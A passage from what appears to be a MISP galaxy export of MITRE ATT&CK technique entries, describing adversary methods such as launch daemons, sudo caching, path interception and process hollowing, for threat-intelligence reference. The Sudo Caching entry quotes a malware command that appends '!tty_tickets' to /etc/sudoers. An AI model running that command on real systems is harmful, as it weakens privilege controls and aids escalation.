https://docs.microsoft.com/en-us/windows/win32/api/
https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework

https://man7.org/linux/man-pages//man7/libc.7.html
https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
https://undocumented.ntinternals.net/
https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/
https://www.gnu.org/software/libc/
https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html
https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html
https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/

Deploy Container - T1610

Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.

Containers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)

The tag is: *misp-galaxy:mitre-attack-pattern="Deploy Container - T1610"*

Table 4369. Table References

Links
https://attack.mitre.org/techniques/T1610
https://blog.aquasec.com/malicious-container-image-docker-container-host
https://docs.docker.com/engine/api/v1.41/#tag/Container
https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/
https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/

Launch Daemon - T1160

Per Apple's developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code>

and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).

Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.

The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon's executable and gain persistence or Privilege Escalation.

The tag is: *misp-galaxy:mitre-attack-pattern="Launch Daemon - T1160"*

View relationships graph

Launch Daemon - T1160 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"

Table 4370. Table References

Links
https://attack.mitre.org/techniques/T1160
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

File Deletion - T1107

Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)

The tag is: *misp-galaxy:mitre-attack-pattern="File Deletion - T1107"*

View relationships graph

File Deletion - T1107 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 4371. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
https://attack.mitre.org/techniques/T1107

Redundant Access - T1108

This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.

Adversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated.

If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.

Use of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.

The tag is: *misp-galaxy:mitre-attack-pattern="Redundant Access - T1108"*

Table 4372. Table References

Links
https://attack.mitre.org/techniques/T1108
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Component Firmware - T1109

Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.

The tag is: *misp-galaxy:mitre-attack-pattern="Component Firmware - T1109"*

View relationships graph

Component Firmware - T1109 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Component Firmware - T1542.002" with estimative-language:likelihood-probability="almost-certain"

Table 4373. Table References

Links
https://attack.mitre.org/techniques/T1109
https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
https://www.smartmontools.org/

System Firmware - T1019

The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)

System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.

The tag is: *misp-galaxy:mitre-attack-pattern="System Firmware - T1019"*

View relationships graph

System Firmware - T1019 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="System Firmware - T1542.001" with estimative-language:likelihood-probability="almost-certain"

Table 4374. Table References

Links
http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html

http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about
http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
http://www.uefi.org/about
https://attack.mitre.org/techniques/T1019
https://capec.mitre.org/data/definitions/532.html
https://en.wikipedia.org/wiki/BIOS
https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface
https://github.com/chipsec/chipsec
https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/

Data Encrypted - T1022

Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.

Other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)

The tag is: *misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022"*

View relationships graph

Data Encrypted - T1022 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

Table 4375. Table References

Links
http://www.netsec.colostate.edu/zhang/DetectingEncryptedBotnetTraffic.pdf[http://www.netsec.colostate.edu/zhang/DetectingEncryptedBotnetTraffic.pdf]
https://attack.mitre.org/techniques/T1022
https://en.wikipedia.org/wiki/List_of_file_signatures

Data Hiding - T1320

This object is deprecated as its content has been merged into the enterprise domain. Please see the

[PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1320).

Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)

The tag is: *misp-galaxy:mitre-attack-pattern="Data Hiding - T1320"*

Table 4376. Table References

Links
https://attack.mitre.org/techniques/T1320

Shortcut Modification - T1023

Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.

The tag is: *misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023"*

View relationships graph

Shortcut Modification - T1023 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

Table 4377. Table References

Links
https://attack.mitre.org/techniques/T1023
https://capec.mitre.org/data/definitions/132.html

Broadcast Receivers - T1402

An intent is a message passed between Android application or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received.

Further, malicious applications can register for intents broadcasted by other applications in addition to the Android system itself. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications.

In Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.(Citation: Android Changes to System Broadcasts)

The tag is: *misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402"*

Table 4378. Table References

Links
https://attack.mitre.org/techniques/T1402
https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts

User Execution - T1204

An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).

While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).

Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204). For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)

The tag is: *misp-galaxy:mitre-attack-pattern="User Execution - T1204"*

Table 4379. Table References

Links
https://attack.mitre.org/techniques/T1204
https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery

Task requirements - T1240

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1240).

Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)

The tag is: *misp-galaxy:mitre-attack-pattern="Task requirements - T1240"*

Table 4380. Table References

Links
https://attack.mitre.org/techniques/T1240

Traffic Signaling - T1205

Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.

Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)

The tag is: *misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205"*

Table 4381. Table References

Links
https://attack.mitre.org/techniques/T1205
https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN
https://www.amd.com/system/files/TechDocs/20213.pdf
https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
https://www.mandiant.com/resources/synful-knock-acis

Multiband Communication - T1026

This technique has been deprecated and should no longer be used.

Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.

The tag is: *misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026"*

Table 4382. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1026

Sudo Caching - T1206

The <code>sudo</code> command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments." (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code> that is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

Adversaries can abuse poor configurations of this to escalate privileges without needing the user’s password. <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user’s password. When <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.

The OSX Proton Malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</code> (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.

The tag is: *misp-galaxy:mitre-attack-pattern="Sudo Caching - T1206"*

View relationships graph

Sudo Caching - T1206 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003" with estimative-language:likelihood-probability="almost-certain"

Table 4383. Table References

Links
https://attack.mitre.org/techniques/T1206
https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does
https://www.sudo.ws/

Time Providers - T1209

The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)

Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\</code

>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)

Adversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Time Providers - T1209"*

View relationships graph

Time Providers - T1209 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Time Providers - T1547.003" with estimative-language:likelihood-probability="almost-certain"

Table 4384. Table References

Links
https://attack.mitre.org/techniques/T1209
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top
https://github.com/scottlundgren/w32time
https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902

Scheduled Transfer - T1029

Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.

When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).

The tag is: *misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029"*

Table 4385. Table References

Links
https://attack.mitre.org/techniques/T1029

Shadow DNS - T1340

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1340).

The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)

The tag is: *misp-galaxy:mitre-attack-pattern="Shadow DNS - T1340"*

Table 4386. Table References

Links
https://attack.mitre.org/techniques/T1340
https://blogs.cisco.com/security/talos/angler-domain-shadowing

Path Interception - T1034

This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).

Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)

There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

Unquoted Paths

Service paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR

2018) (Citation: SploitSpren Windows Priv Jan 2018)

PATH Environment Variable Misconfiguration

The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\system32</code> (e.g., <code>C:\Windows\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

For example, if <code>C:\example path</code> precedes <code>C:\Windows\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\example path</code> will be called instead of the Windows system "net" when "net" is executed from the command-line.

Search Order Hijacking

Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)

Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).

The tag is: *misp-galaxy:mitre-attack-pattern="Path Interception - T1034"*

Table 4387. Table References

Links
http://msdn.microsoft.com/en-us/library/ms682425
http://msdn.microsoft.com/en-us/library/ms687393
http://support.microsoft.com/KB/103000

http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120
https://attack.mitre.org/techniques/T1034
https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/
https://capec.mitre.org/data/definitions/159.html
https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx
https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/

Location Tracking - T1430

An adversary could use a malicious or exploited application to surreptitiously track the device's physical location through use of standard operating system APIs.

The tag is: *misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"*

Table 4388. Table References

Links
https://attack.mitre.org/techniques/T1430
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html

Service Execution - T1035

Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.

The tag is: *misp-galaxy:mitre-attack-pattern="Service Execution - T1035"*

View relationships graph

Service Execution - T1035 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 4389. Table References

Links
https://attack.mitre.org/techniques/T1035

Anonymity services - T1306

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1306).

Anonymity services reduce the amount of information available that can be used to track an adversary's activities. Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Anonymity services - T1306"*

Table 4390. Table References

Links
https://attack.mitre.org/techniques/T1306

Process Hollowing - T1093

Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093"*

View relationships graph

Process Hollowing - T1093 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"

Table 4391. Table References

Links
http://www.autosectools.com/process-hollowing.pdf
https://attack.mitre.org/techniques/T1093
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Obfuscate infrastructure - T1309

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1309).

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1309"*

View relationships graph

Obfuscate infrastructure - T1309 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1331" with estimative-language:likelihood-probability="almost-certain"

Table 4392. Table References

Links
https://attack.mitre.org/techniques/T1309

Indicator Blocking - T1054

An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).

ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.

In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1054"*

View relationships graph

Indicator Blocking - T1054 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006" with estimative-language:likelihood-probability="almost-certain"

Table 4393. Table References

Links

https://attack.mitre.org/techniques/T1054
https://capec.mitre.org/data/definitions/571.html
https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events
https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A

Code Injection - T1540

Adversaries may use code injection attacks to implant arbitrary code into the address space of a running application. Code is then executed or interpreted by that application. Adversaries utilizing this technique may exploit capabilities to load code in at runtime through dynamic libraries.

With root access, `ptrace` can be used to target specific applications and load shared libraries into its process memory.(Citation: Shunix Code Injection Mar 2016)(Citation: Fadeev Code Injection Aug 2018) By injecting code, an adversary may be able to gain access to higher permissions held by the targeted application by executing as the targeted application. In addition, the adversary may be able to evade detection or enable persistent access to a system under the guise of the application's process.(Citation: Google Triada June 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Code Injection - T1540"*

Table 4394. Table References

Links
https://attack.mitre.org/techniques/T1540
https://fadeevab.com/shared-library-injection-on-android-8/
https://security.googleblog.com/2019/06/pha-family-highlights-triada.html
https://shunix.com/shared-library-injection-in-android/

PowerShell Profile - T1504

Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)

Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched.

(Citation: ESET Turla PowerShell May 2019)

An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)

The tag is: *misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1504"*

View relationships graph

PowerShell Profile - T1504 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1546.013" with estimative-language:likelihood-probability="almost-certain"

Table 4395. Table References

Links
http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
https://attack.mitre.org/techniques/T1504
